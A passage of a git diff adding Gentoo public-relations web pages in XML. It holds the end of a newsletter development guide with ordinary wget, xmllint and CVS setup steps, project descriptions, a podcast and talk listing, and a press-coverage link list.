+$ <i>wget -P gwn/dtd/ http://www.gentoo.org/dtd/guide.dtd</i>
+$ <i>wget -P gwn/css/ http://www.gentoo.org/css/main.css</i>
+$ <i>wget -P gwn/images/  http://www.gentoo.org/images/gbot-s.gif \
+  http://www.gentoo.org/images/gridtest.gif \
+  http://www.gentoo.org/images/gtop-s.jpg \
+  http://www.gentoo.org/images/line.gif \
+  http://www.gentoo.org/images/netraverse-gentoo.gif</i>
+$ <i>wget -P gwn/xsl/ http://dev.gentoo.org/~swift/local/guide.xsl</i>
+</pre>
+
+<p>
+Now edit <path>/etc/xml/catalog</path> on your system and add the following
+line:
+</p>
+
+<pre caption="Addendum to catalog file">
+&lt;rewriteURI uriStartString="/dtd" rewritePrefix="<i>/home/you/gwn/dtd</i>"/&gt;
+</pre>
+
+<p>
+Of course make sure that the <c>rewritePrefix</c> points to your created
+<path>gwn/dtd</path> directory.
+</p>
+
+</body>
+</section>
+<section>
+<title>Testing a GWN</title>
+<body>
+
+<p>
+To test a GWN, we first verify it's XML accuracy. Go to the <path>gwn/</path>
+directory and run:
+</p>
+
+<pre caption="Checking the XML accuracy">
+$ <i>xmllint --valid --noout YYYYMMDD-newsletter.xml</i>
+</pre>
+
+<p>
+If the <c>xmllint</c> application gives no output, your GWN is fine. To view
+the result of the XML, run <c>xsltproc</c>:
+</p>
+
+<pre caption="Running xsltproc">
+$ <i>xsltproc xsl/guide.xsl YYYYMMDD-newsletter.xml &gt; test.html</i>
+</pre>
+
+<p>
+Point your browser to the <path>gwn/test.html</path> file on your disk - it
+should render the GWN correctly.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CVS Information</title>
+<section>
+<body>
+
+<p>
+Setting up your CVS account and such is beyond the scope of this document.
+Contact the infrastructure team if your CVS access gives you problems.
+</p>
+
+<p>
+To get the right CVS module on your disk, issue the following commands:
+</p>
+
+<pre caption="Preparing CVS">
+$ <i>mkdir cvs</i>
+$ <i>cd cvs</i>
+$ <i>export CVSROOT=yournick@cvs.gentoo.org:/var/cvsroot</i>
+$ <i>cvs co gentoo</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/pr/gwn/index.xml b/xml/htdocs/proj/en/pr/gwn/index.xml
new file mode 100644
index 00000000..f69736a8
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/gwn/index.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>gwn</name>
+<longname>Gentoo Weekly Newsletter</longname>
+<date>2007-03-05</date>
+
+<description>
+The Gentoo Weekly Newsletter informs the Gentoo userbase (and other interested
+parties) about the latest evolvements in Gentoo with a weekly publication.
+</description>
+
+<longdescription>
+<p>
+The Gentoo Weekly Newsletter is intended to give users of Gentoo one source of
+information about Gentoo. The GWN summarizes the key events in the Gentoo Linux
+project each week and presents them in a clear, concise format. With sections
+covering general news, security, bugs, portage and other topics, the GWN should
+offer something for everyone. The current version of the GWN can always be found
+<uri link="/news/en/gwn/current.xml">here</uri>.
+</p>
+
+<p>
+Currently, the GWN is distributed via web and mailing list formats, with
+additional formats being considered based on your feedback. To subscribe to the
+GWN mailing list, send a blank email to <mail 
+link="gentoo-gwn-subscribe@gentoo.org">gentoo-gwn-subscribe@gentoo.org</mail>. 
+The GWN will also be available in other languages, as volunteers step forth to
+translate.
+</p>
+
+<p>
+Finally, we'd like to thank the many volunteers who make the GWN possible on a
+weekly basis. From the contributors to the translators to the people behind the
+scenes, all these people help bring you the GWN. If you're interested in joining
+the GWN team, please send an email to <mail
+link="gwn-feedback@gentoo.org">gwn-feedback@gentoo.org</mail>.
+</p>
+</longdescription>
+
+<!-- Developers -->
+<dev role="Author" description="planet g.o summary, misc articles">dertobi123</dev>
+
+<extrachapter position="devs">
+<title>Project Status</title>
+<section>
+<title>Project Inactive</title>
+<body>
+
+<note>
+The Gentoo Weekly Newsletter Project is inactive at the moment and that the
+information given here is not up to date.
+</note>
+
+</body>
+</section>
+</extrachapter>
+
+<resource link="gwn-guide.xml">Gentoo Weekly Newsletter Development Guide</resource>
+<resource link="/news/en/gwn/">Archived weekly newsletters</resource>
+
+</project>
diff --git a/xml/htdocs/proj/en/pr/index.xml b/xml/htdocs/proj/en/pr/index.xml
new file mode 100644
index 00000000..1e7ef65b
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/index.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/pr/index.xml,v 1.41 2010/07/17 06:57:21 nightmorph Exp $ -->
+
+<project>
+<name>pr</name>
+<longname>Gentoo Public Relations Project</longname>
+<date>2010-07-16</date>
+
+<description>
+The Public Relations Team improves Gentoo's visibility towards the rest of the
+world.
+</description>
+
+<!-- What is the PR project -->
+<longdescription>
+<p>
+Extending and improving a meta-distribution such as Gentoo isn't possible
+without the continued involvement of the users. Apart from the bug reporting,
+enhancement requests, mailing list/IRC activity and other important aspects,
+the motivation of the users is one of, perhaps even the most, influential facet
+of distribution activity. Such motivation can be brought to the users by
+well-coordinated public relation efforts.
+</p>
+
+<p>
+PR goes well beyond just "informing the world". It embraces research, planning,
+communication and evaluation manufactured to the organisation's core values. It
+does not stop with explaining the virtues of the organisation and the decisions
+made, but also extends to uncovering the principles that are used to go where
+the organisation wants to go.
+</p>
+</longdescription>
+
+<!-- Developers -->
+<dev role="lead" description="Lead">dberkholz</dev>
+<dev role="member" description="Vendor Relations">klieber</dev>
+<dev role="member" description="GMN Lead">nightmorph</dev>
+<dev role="member" description="Media">dabbott</dev>
+<dev role="member" description="Events, misc">sping</dev>
+
+<!-- Projects embraced by PR -->
+<subproject ref="/proj/en/pr/presentation.xml"/>
+<subproject ref="/proj/en/pr/press.xml"/>
+<subproject ref="/proj/en/pr/gwn/index.xml"/>
+<subproject ref="/proj/en/pr/events/index.xml"/>
+<subproject ref="/proj/en/userrel/index.xml"/>
+<subproject ref="/proj/en/pr/gmn/index.xml"/>
+
+<resource link="roadmap.xml">PR Roadmap</resource>
+<resource link="media.xml">Media</resource>
+
+<extrachapter>
+<title>Mailing lists</title>
+<section>
+<body>
+
+<p>
+If you are interested in participating, please join #gentoo-pr on Freenode IRC
+and subscribe to the gentoo-pr mailing list by sending an e-mail to <mail
+link="gentoo-pr+subscribe@lists.gentoo.org">gentoo-pr+subscribe@lists.gentoo.org</mail>.
+If you want to contact the PR team without using the mailing list, please direct
+your attention to <mail link="pr@gentoo.org">pr@gentoo.org</mail>.
+</p>
+
+<impo>
+The Public Relations team does not provide user support or troubleshooting. If
+you need help with your Gentoo system, please visit our <uri
+link="http://forums.gentoo.org">forums</uri> or <uri link="/main/en/irc.xml">IRC
+channels</uri>.
+</impo>
+
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/pr/media.xml b/xml/htdocs/proj/en/pr/media.xml
new file mode 100644
index 00000000..ba143cfb
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/media.xml
@@ -0,0 +1,269 @@
+<?xml version='1.0' encoding="UTF-8"?> <!DOCTYPE news SYSTEM "/dtd/guide.dtd">
+
+<news gentoo="yes" category="gentoo">
+    
+<poster>dabbott</poster> 
+<date>2009-09-20</date> 
+<title>Gentoo Related Media</title> 
+<summary>
+Gentoo related Podcasts, Interviews, Conference Talks, Screencasts and more!
+</summary> 
+<body>
+
+<p>
+<b>This section lists interviews with Developers in print.</b>
+</p>
+<table>
+  <tr>
+    <th colspan="4">Interview Transcripts</th>
+  </tr>
+  <tr>
+    <ti>Name</ti>
+    <ti>Nick</ti>
+    <ti>Date Recorded</ti>
+    <ti>Link</ti>
+  </tr>
+  <tr>
+    <ti>Robin H. Johnson</ti>
+    <ti>robbat2</ti>
+    <ti>2009-07-24</ti>
+    <ti><uri link="/proj/en/pr/20090724-robbat2-interview.xml">
+        Robin H. Johnson (robbat2)</uri></ti>
+  </tr>
+  <tr>
+    <ti>Jorge Manual B. S. Vicetto</ti>
+    <ti>jmbsvicetto</ti>
+    <ti>2009-09-18</ti>
+		<ti><uri link="/proj/en/pr/20090918-jmbsvicetto-interview.xml">Jorge Manual
+				B. S. Vicetto (jmbsvicetto</uri></ti>
+  </tr>
+</table>
+
+<p> 
+<b>This section lists podcast interviews with Gentoo Developers in English.</b> 
+</p> 
+<table> 
+  <tr> 
+    <th colspan="4">Developer Podcasts in English</th> 
+  </tr> 
+  <tr> 
+    <ti>Name</ti> 
+    <ti>Nick</ti> 
+    <ti>Date Recorded</ti> 
+    <ti>audio/ogg</ti> 
+    </tr> 
+  <tr> 
+    <ti>Roy Bamford</ti>
+    <ti>NeddySeagoon</ti> 
+    <ti>2008-03-29</ti> 
+    <ti><uri link="http://linuxcrazy.com/podcasts/linuxcrazy-18.ogg">
+            linuxcrazy-18.ogg</uri></ti> 
+    </tr> 
+  <tr> 
+    <ti>Mike Frysinger</ti>
+    <ti>Vapier</ti> 
+    <ti>2008-04-11</ti> 
+    <ti><uri link="http://linuxcrazy.com/podcasts/linuxcrazy-20-vapier.ogg">
+            linuxcrazy-20-vapier.ogg</uri> 
+  </ti> </tr> 
+  <tr> 
+    <ti>Donnie Berkholtz</ti> 
+    <ti>dberkholtz</ti> 
+    <ti>2008-05-19</ti> 
+    <ti><uri link="http://linuxcrazy.com/podcasts/LC-25-dberkholz.ogg">
+            LC-25-dberkholz.ogg</uri></ti>
+  </tr> 
+  <tr> 
+    <ti>Matthew Summers</ti> 
+    <ti>quantumsummers</ti>
+    <ti>2008-09-11</ti> 
+    <ti><uri link="http://linuxcrazy.com/podcasts/LC-33-matt-interview.ogg">
+            LC-33-matt-interview.ogg</uri></ti>
+  </tr> 
+  <tr> 
+    <ti>Patrick Lauer</ti> 
+    <ti>bonsaikitten</ti>
+    <ti>2008-12-11</ti> 
+    <ti><uri link="http://linuxcrazy.com/podcasts/LC-43-patrick.ogg">
+            LC-43-patrick.ogg</uri></ti>
+  </tr> 
+  <tr> 
+    <ti>Sylvain Alain</ti> 
+    <ti>d2_racing</ti> 
+    <ti>2009-01-02</ti>
+    <ti><uri link="http://linuxcrazy.com/podcasts/LC-45-sylvain-ca.ogg">
+            LC-45-sylvain-ca.ogg</uri></ti>
+  </tr> 
+  <tr> 
+    <ti>Joshua Jackson</ti> <ti>tsunam</ti> <ti>2009-06-06</ti>
+    <ti><uri link="http://linuxcrazy.com/podcasts/LC-56-tsunam.ogg">
+            LC-56-tsunam.ogg</uri></ti>
+  </tr> 
+  <tr> 
+    <ti>Markos Chandras</ti> 
+    <ti>hwoarang</ti>
+    <ti>2009-06-19</ti> 
+    <ti><uri link="http://linuxcrazy.com/podcasts/LC-57-markos.ogg">
+            LC-57-markos.ogg</uri></ti>
+  </tr> 
+  <tr> 
+    <ti>Diego Petteno</ti> 
+    <ti>Flameeyes</ti> 
+    <ti>2009-07-02</ti>
+    <ti><uri link="http://linuxcrazy.com/podcasts/LC-58-diego.ogg">
+            LC-58-diego.ogg</uri></ti>
+  </tr> 
+  <tr> 
+    <ti>Nathan Zachary</ti> 
+    <ti>nathanzachary</ti> 
+    <ti>2009-08-27</ti>
+    <ti><uri link="http://linuxcrazy.com/podcasts/LC-62-zach.ogg">
+            LC-62-zach.ogg</uri></ti>
+  </tr> 
+  <tr> 
+    <ti>Jorge Manual B. S. Vicetto</ti> 
+    <ti>jmbsvicetto</ti> 
+    <ti>2009-09-18</ti>
+		<ti><uri link="http://linuxcrazy.com/podcasts/LC-63-jorge.ogg">
+						LC-63-jorge.ogg</uri></ti>
+  </tr> 
+</table>
+
+<p> 
+<b>This section lists podcast interviews with Gentoo Developers in German.</b> 
+</p> 
+<table> 
+  <tr> 
+    <th colspan="4">Developer Podcasts in German</th> 
+  </tr> <tr> 
+    <ti>Name</ti> 
+    <ti>Nick</ti> 
+    <ti>Date Recorded</ti> 
+    <ti>audio/ogg</ti> 
+  </tr> 
+  <tr> 
+    <ti>Tobias Scherbaum</ti> 
+    <ti>dertobi123</ti> 
+    <ti>2009-03-14</ti> 
+    <ti><uri 
+            link="http://archiv.radiotux.de/interviews/2009-03-14.RadioTux.Gentoo.Tobias.Scherbaum.CLT2009.ogg">
+            RadioTux.Gentoo.ogg</uri></ti>
+  </tr> 
+</table>
+
+<p> 
+<b>This section lists podcast interviews with Retired Developers.</b> 
+</p>
+<table> 
+  <tr> 
+    <th colspan="4">Retired Developers in English</th> 
+  </tr> 
+  <tr>
+    <ti>Name</ti> 
+    <ti>Nick</ti> 
+    <ti>Date Recorded</ti> 
+    <ti>audio/ogg</ti>
+  </tr> 
+  <tr> 
+    <ti>Daniel Robbins</ti> 
+    <ti>drobbins</ti> 
+    <ti>2008-12-04</ti>
+    <ti><uri link="http://linuxcrazy.com/podcasts/LC-42-drobbins.ogg">
+            LC-42-drobbins.ogg</uri></ti>
+  </tr> 
+</table>
+
+<p> 
+<b>This section lists podcast interviews with Gentoo users.</b> 
+</p> 
+<table>
+  <tr> <th colspan="4">Gentoo User Podcasts in English</th> </tr> 
+  <tr>
+    <ti>Name</ti> 
+    <ti>Nick</ti> 
+    <ti>Date Recorded</ti> 
+    <ti>audio/ogg</ti>
+  </tr> 
+  <tr> 
+    <ti>Noel Saliba</ti> 
+    <ti>weirdedout</ti> 
+    <ti>2008-07-31</ti>
+    <ti><uri link="http://linuxcrazy.com/podcasts/LC-29-noel-interview.ogg">
+            LC-29-noel-interview.ogg</uri></ti>
+</tr> 
+  <tr> 
+    <ti>Dyllan Pascoe</ti> 
+    <ti>Kingmilo</ti> 
+    <ti>2009-03-05</ti>
+    <ti><uri link="http://linuxcrazy.com/podcasts/LC-50-dyllan.ogg">
+            LC-50-dyllan.ogg</uri></ti>
+  </tr> 
+  <tr> 
+    <ti>Robert Raitz</ti> 
+    <ti>pappy_mcfae</ti>
+    <ti>2009-07-16</ti> 
+    <ti><uri link="http://linuxcrazy.com/podcasts/LC-59-pappy.ogg">
+            LC-59-pappy.ogg</uri></ti>
+</tr> 
+</table>
+
+<p> 
+<b>This section lists podcasts with Gentoo developers/users in French.</b>
+</p> 
+<table> 
+  <tr> <th colspan="4">Gentoo Podcasts in French</th> 
+  </tr>
+  <tr> 
+    <ti>Name</ti> 
+    <ti>Nick</ti> 
+    <ti>Date Recorded</ti>
+    <ti>audio/mp3</ti> 
+  </tr> 
+  <tr> 
+    <ti>Laurent Duchesne</ti>
+    <ti>lduchesne</ti> 
+    <ti>2009-02-21</ti> 
+    <ti><uri link="http://linuxcrazy.com/podcasts/LC-GQ-02.mp3">
+            LC-GQ-02.mp3</uri></ti>
+  </tr> 
+  <tr> 
+    <ti>Sylvain Alain</ti>
+    <ti>d2_racing</ti> 
+    <ti>2009-01-05</ti> 
+    <ti><uri link="http://www.gentoo-quebec.org/index/LC-GQ-01.mp3">
+            LC-GQ-01.mp3</uri></ti>
+  </tr> 
+</table>
+
+<p> 
+<b>This section lists talks from Developer Conferences.</b> 
+</p> 
+<table>
+  <tr> <th colspan="5">Gentoo Developer Talks (English)</th> </tr> 
+  <tr>
+    <ti>Name</ti> 
+    <ti>Presenters</ti> 
+    <ti>Date</ti> 
+    <ti>Topics</ti>
+    <ti>Download</ti> 
+  </tr> 
+  <tr> 
+    <ti>Developer Conference 2005</ti>
+    <ti>S.Kveton, A.Barisani, C.Gianelloni</ti> 
+    <ti>2005-08-12</ti> 
+    <ti>OSU Lab, OpenLDAP, LiveCD</ti> 
+    <ti><uri link="http://video.indiana.edu:8080/ramgen/ip/ussg/gento-dev_20050812.rm">
+            Morning Session (real audio)</uri></ti> 
+  </tr> 
+  <tr> 
+    <ti>Developer Conference 2005</ti> <ti>K.Lieber, L.Anderson, J.Cohen</ti>
+    <ti>2005-08-12</ti> 
+    <ti>Trustees, Infra, GenUX</ti> 
+    <ti><uri link="http://video.indiana.edu:8080/ramgen/ip/ussg/gento-dev_20050812_1.rm">
+            Afternoon Session (real audio)</uri></ti> 
+  </tr> 
+</table>
+
+</body>
+
+</news>
diff --git a/xml/htdocs/proj/en/pr/presentation.xml b/xml/htdocs/proj/en/pr/presentation.xml
new file mode 100644
index 00000000..038d3065
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/presentation.xml
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>presentation</name>
+<longname>Gentoo Presentations</longname>
+<date>2004-12-03</date>
+
+<description>
+It is vital that Gentoo-presentations and -folders contain correct information
+and are updated with the most recent information available. This subproject
+writes and maintains presentations, folders and other material that users and
+developers can safely use to promote or demonstrate Gentoo.
+</description>
+
+<longdescription>
+<p>
+With an escalating number of users and increasingly complex projects with
+ever-tighter deadlines, Gentoo is probably one of the most actively developed
+distributions available today. Keeping everybody informed about the progress
+made is more than ever an interesting challenge. Users and developers should be
+able to quickly grasp the essence of the project and where it currently stands.
+</p>
+</longdescription>
+
+<goals><p>
+The presentation subproject aims to improve the project visibility by providing
+all appropriate information in up-to-date, well-targeted presentations and
+hand-outs. These can then be downloaded and used by developers, users and
+interested parties, not only to read themselves, but also to share with others
+through presentations, demonstrations and direct contact with other people.
+</p></goals>
+
+<!-- Developers 
+-->
+
+<!-- Resources -->
+<resource link="docs/howto-presentation.xml">Presentation HOWTO</resource>
+<resource link="docs/presentation-listing.xml">Available Presentations</resource>
+
+</project>
diff --git a/xml/htdocs/proj/en/pr/press.xml b/xml/htdocs/proj/en/pr/press.xml
new file mode 100644
index 00000000..b1db2536
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/press.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>press coverage</name>
+<longname>Gentoo Press Coverage</longname>
+<date>November 24, 2003</date>
+
+<description>
+Several sites (and other media) exist that occasionally talk about Gentoo using
+(submitted or self-written) articles. This subproject maintains a list of all
+available Gentoo articles and updates the several press media about Gentoo.
+</description>
+
+<longdescription>
+<p>
+Any succesfull project uses its press coverage as an integral part of its
+marketing campaign and public relations. Gentoo is not different.
+Well-structured press coverage informs people about Gentoo's evolutions and 
+keeps issues and/or events before the public eye. Properly distributed press
+releases build credibility and expand the Gentoo user base and opportunities. 
+</p>
+</longdescription>
+
+<goals><p>
+The press coverage project aims to maintain an up-to-date list of all press
+coverage of the Gentoo project, and provides well-written information to
+third-party press media.
+</p></goals>
+
+<!-- Developers 
+-->
+
+<!-- Resources -->
+<resource link="press/press-coverage.xml">Press Coverage Listing</resource>
+
+</project>
diff --git a/xml/htdocs/proj/en/pr/press/press-coverage.xml b/xml/htdocs/proj/en/pr/press/press-coverage.xml
new file mode 100644
index 00000000..b9d7067d
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/press/press-coverage.xml
@@ -0,0 +1,800 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="press-coverage.xml">
+<title>Press Coverage</title>
+
+<author title="Author">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Author">
+  <mail link="halcy0n@gentoo.org">Mark Loeser</mail>
+</author>
+<author title="Author">
+  <mail link="a3li@gentoo.org">Alex Legler</mail>
+</author>
+
+<abstract>
+This documents contains a list of articles about Gentoo or Gentoo-involved
+issues that have been published on the Internet (and other press media).
+</abstract>
+
+<license />
+
+<version>1.50</version>
+<date>2009-10-07</date>
+
+<chapter>
+<title>Internet Sites</title>
+<section>
+<title>Preliminary</title>
+<body>
+
+<p>
+<e>Disclaimer</e>: The following links are pointers to online articles written
+about Gentoo or Gentoo-involved issues. Publication does not mean we 
+automatically agree with everything mentioned. If you know of another article, 
+please <mail link="pr@gentoo.org">mail us</mail>. Articles that we fully 
+disagree with are not published. <uri link="/news/en/gwn/gwn.xml">Gentoo
+Weekly Newsletters</uri> are also not listed.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>October 2009</title>
+<body>
+
+<ul>
+  <li>
+    October 7th, 2009: <uri link="http://techgage.com/news/gentoo_linux_turns_10/">Gentoo Linux Turns 10</uri>
+    (<uri link="http://techgage.com/">Techgage</uri>)
+  </li>
+
+  <li>
+    October 5th, 2009: <uri link="http://news.softpedia.com/news/Gentoo-Linux-Celebrates-10-Years-of-Existence-Through-A-Special-Release-123397.shtml">
+    Gentoo Linux Celebrates 10 Years of Existence Through a Special Release</uri> (<uri link="http://news.softpedia.com">Softpedia News</uri>)
+  </li>
+</ul>
+</body>
+</section>
+
+<section>
+<title>May 2006</title>
+<body>
+
+<ul>
+  <li>
+    May 19th, 2006: <uri link="http://mobile.newsforge.com/mobility/06/05/05/2018250.shtml?tid=49">
+    Oregon lab plays Web host to the stars of open source</uri> (<uri
+    link="http://www.newsforge.com">Newsforge</uri>)
+  </li>
+  <li>
+    May 15th, 2006: <uri link="http://dot.kde.org/1147698188/">KDE and Business: AEI Interview</uri>
+    (<uri link="http://dot.kde.org">KDE.news</uri>)
+  </li>
+  <li>
+    May 9th, 2006: <uri link="http://linuxdevices.com/news/NS9007050548.html">Embedded processor
+    module comes with Gentoo Linux</uri> (<uri link="http://linuxdevices.com">LinuxDevices.com</uri>)
+  </li>
+  <li>
+    May 2nd, 2006: <uri link="http://www.desktoplinux.com/news/NS7770591797.html">Gentoo-based
+    system rescue liveCD revs up</uri> (<uri
+    link="http://www.desktoplinux.com">DesktopLinux.com</uri>)
+  </li>
+  <li>
+    May 2nd, 2006: <uri link="http://www.desktoplinux.com/news/NS6593962401.html">
+    Latest Gentoo eases configurability</uri> (<uri
+    link="http://www.desktoplinux.com">DesktopLinux.com</uri>)
+  </li>
+  <li>
+    May 1st, 2006: <uri link="http://www.linux-watch.com/news/NS4906178155.html">
+    Gentoo -- it's not for everyone</uri> (<uri
+    link="http://www.linux-watch.com">Linux-Watch</uri>)
+  </li>
+  <li>
+    May 1st, 2006: <uri link="http://www.eweek.com/article2/0,1895,1954301,00.asp">
+    Gentoo, Linux? Yes, Sometimes</uri> (<uri link="http://www.eweek.com">eWeek.com</uri>)
+  </li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>April 2006</title>
+<body>
+
+<ul>
+  <li>
+    April 25th, 2006: <uri
+    link="http://www.linuxdevices.com/news/NS9979012415.html">PVR stack, Gentoo Linux convert PC to
+    PVR</uri> (<uri link="http://www.linuxdevices.com">LinuxDevices.com</uri>)
+  </li>
+  <li>
+    April 24th, 2006: <uri
+    link="http://www.newsforge.com/newsvac/06/04/24/0423238.shtml">Gentoo Wiki: Dynamic DNS with
+    EveryDNS</uri> (<uri link="http://newsforge.com">NewsForge</uri>)
+  </li>
+  <li>
+    April 12th, 2006: <uri
+    link="http://ezine.daemonnews.org/200604/gentoo-bsd_interview.html">Interview with Diego
+    Pettenò, Gentoo/*BSD developer</uri> (<uri link="http://www.daemonnews.org">Daemon News</uri>)
+    Referrals: <uri link="http://www.newsforge.com/newsvac/06/04/12/1753246.shtml">NewsForge</uri>
+  </li>
+  <li>
+    April 7th, 2006: <uri link="http://www.internetnews.com/dev-news/article.php/3597656">LinuxWorld
+    2006: A Diamond in The Rough</uri> (<uri link="http://www.internetnews.com">InternetNews.com</uri>)
+  </li>
+  <li>
+    April 2nd, 2006: <uri
+    link="http://www.softpedia.com/reviews/linux/Gentoo-Review-20543.shtml">Gentoo Linux
+    Review</uri> (<uri link="http://www.softpedia.com">Softpedia</uri>)
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>March 2006</title>
+<body>
+
+<ul>
+  <li>
+    March 21st, 2006: <uri link="http://os.newsforge.com/os/06/03/15/228227.shtml">My desktop
+    OS: Gentoo Linux</uri> (<uri link="http://www.newsforge.com">NewsForge</uri>)
+  </li>
+  <li>
+    March 14th, 2006: <uri
+    link="http://www.newsforge.com/article.pl?sid=06/03/14/1557211">Kororaa live CD has Linux
+    quivering</uri> (<uri link="http://www.newsforge.com">NewsForge</uri>)
+  </li>
+  <li>
+    March 13th, 2006: <uri
+    link="http://distrowatch.com/weekly.php?issue=20060313#interview">Interview with Chris
+    Smart, Kororaa Project</uri> (<uri link="http://distrowatch.com">DistroWatch</uri>)
+  </li>
+  <li>
+    March 1st, 2006: <uri link="http://techgage.com/review.php?id=4334">Review: Look at
+    Gentoo 2006.0 LiveCD</uri> (<uri link="http://techgage.com">TechGage</uri>)
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>February 2006</title>
+<body>
+
+<ul>
+  <li>
+    February 28th 2006: <uri link="http://www.internetnews.com/dev-news/article.php/3588011">More
+    Power to Gentoo Linux</uri> (<uri link="http://www.internetnews.com">InternetNews.com</uri>)
+  </li>
+  <li>
+    February 17th 2006: <uri link="http://www.pcmag.com/article2/0,1895,1928357,00.asp">Mactel
+    Linux Up and Running</uri> (<uri link="http://www.pcmag.com">PC Magazine</uri>) Referrals:
+    <uri
+    link="http://cellphones.engadget.com/2006/02/16/linux-boots-on-intel-imacs/">Engadget</uri>,
+    <uri link="http://linux.slashdot.org/article.pl?sid=06/02/16/2025243">Slashdot</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>January 2006</title>
+<body>
+
+<ul>
+  <li>
+    January 20th, 2006: <uri
+    link="http://www-128.ibm.com/developerworks/linux/library/l-pow-linuxdistros.html?ca=drs-">
+    Alternative Linux distributions for POWER processor-based systems</uri> (<uri
+    link="http://www.ibm.com">IBM</uri>)
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>December 2005</title>
+<body>
+
+<ul>
+  <li>
+    December 6th, 2005: <uri
+    link="http://www.linuxhardware.org/article.pl?sid=05/12/06/2138210">Augustus' Ultimate
+    Linux Workstation: Part III</uri> (<uri
+    link="http://www.linuxhardware.org">LinuxHardware.org</uri>)
+  </li>
+  <li>
+    December 5th, 2005: <uri
+    link="http://news.netcraft.com/archives/2005/12/05/strong_growth_for_debian.html">Strong
+    growth for Debian</uri> (<uri link="http://news.netcraft.com">Netcraft</uri>)
+  </li>
+  <li>
+    December 3rd, 2005: <uri link="http://www.desktoplinux.com/news/NS5918533638.html">Gentoo
+    GCC 3.4 for x86 marked "stable"</uri> (<uri
+    link="http://www.desktoplinux.com">DesktopLinux.com</uri>) Referrals:
+    <uri link="http://www.linuxtoday.com/infrastructure/2005120501026NWSWRL">Linux Today</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>November 2005</title>
+<body>
+
+<ul>
+  <li>
+    November 24th, 2005: <uri
+    link="http://os.newsforge.com/os/05/11/22/1814254.shtml?tid=2">It's turtles and modules
+    all the way down</uri> (<uri link="http://www.newsforge.com">NewsForge</uri>)
+  </li>
+  <li>
+    November 21st, 2005: <uri
+    link="http://www.prweb.com/releases/2005/11/prweb313026.htm">Low Cost/High Performance
+    Open Source Gentoo Linux LAMP Server Now Available</uri> (<uri
+    link="http://www.prweb.com">PR Web</uri>)
+  </li>
+  <li>
+    November 10th, 2005: <uri
+    link="http://enterprise.linux.com/enterprise/05/10/31/1949218.shtml">New approaches to
+    Linux package management</uri> (<uri link="http://www.linux.com">Linux.com</uri>)
+  </li>
+  <li>
+    November 4th, 2005: <uri link="http://www.desktoplinux.com/news/NS6574473318.html">Pocket
+    guide covers popular desktop Linux distros</uri> (<uri
+    link="http://www.desktoplinux.com">DesktopLinux.com</uri>)
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>October 2005</title>
+<body>
+
+<ul>
+  <li>
+    October 17th, 2005: <uri
+    link="http://www.informationweek.com/story/showArticle.jhtml?articleID=172300923">Open
+    Doors To Innovation</uri> (<uri link="http://www.informationweek.com">InformationWeek</uri>)
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>September 2005</title>
+<body>
+
+<ul>
+  <li>
+    September 30th, 2005: <uri
+    link="http://www.macdevcenter.com/pub/a/mac/2005/09/30/fink.html">Installing Fink on
+    Mac OS X</uri> (<uri link="http://www.macdevcenter.com">Mac Dev Center</uri>)
+  </li>
+  <li>
+    September 1st, 2005: <uri link="http://www.genesippc.com/press.php?date=20050901">ODW
+    Scores 5/5 from Linux User &amp; Developer</uri> (<uri
+    link="http://www.linuxuser.co.uk/">Linux User &amp; Developer</uri>)
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>August 2005</title>
+<body>
+
+<ul>
+  <li>
+    August 25th, 2005: <uri link="http://www.linuxjournal.com/article/8165">Building a Call
+    Center with LTSP and Soft Phones</uri> (<uri link="http://www.linuxjournal.com">Linux
+    Journal</uri>)
+  </li>
+  <li>
+    August 10th, 2005: <uri
+    link="http://www.internetnews.com/dev-news/article.php/3526551">New
+    Gentoo Snapshot Released</uri> (<uri
+    link="http://www.internetnews.com">InternetNews</uri>)
+  </li>
+  <li>
+    August 8th, 2005: <uri
+    link="http://www.gentoo.org/news/20050808-annoncement-release-2005.1.xml">Gentoo
+    2005.1 released</uri> (<uri link="http://www.gentoo.org">Gentoo</uri>)
+  </li>
+  <li>
+    August 8th, 2005: <uri
